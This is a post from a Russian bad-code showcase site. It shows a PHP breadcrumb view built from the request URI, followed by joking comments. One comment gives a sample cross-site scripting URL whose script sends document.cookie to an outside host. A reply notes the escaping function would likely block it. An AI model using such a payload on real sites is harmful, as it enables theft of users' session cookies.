1. PHP / Говнокод #7496

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <?php $breadcrumb=explode('/',$_SERVER['REQUEST_URI']); ?>
    <?php $lead=false; ?>
    <?php foreach ($breadcrumb as $i=>$part) { ?>
    		<?php if($i) {if($lead) { ?> &raquo; <?php } else $lead=true;} ?>
    		<a href="<?php echo HTML::chars(implode('/',array_slice($breadcrumb,0,$i))); ?>"><?php echo HTML::chars($part); ?></a>
    	<?php
    }?>

    вот такие хлебные говняные крошки.
    вьюшка.

    Запостил: Lure Of Chaos, 09 Августа 2011

    Комментарии (7) RSS

    • О_О
      Ответить
    • УРЛы на кириллице наверно.
      Ответить
      • почему? нет

        но может прийти такой веселый урл: /path/to/app?q=<script>location.href="example.com/?"+document.cookie;</script>
        Ответить
        • Скорее всего его HTML::chars() не пропустит в таком виде.

          Я наверно знаю что делает HTML::chars(). Преобразует транслит в русские буквы.
          /sovety/pro-edu
          Советы &raquo; Про еду
          Ответить
    • shitcrumbs?
      Ответить

    Добавить комментарий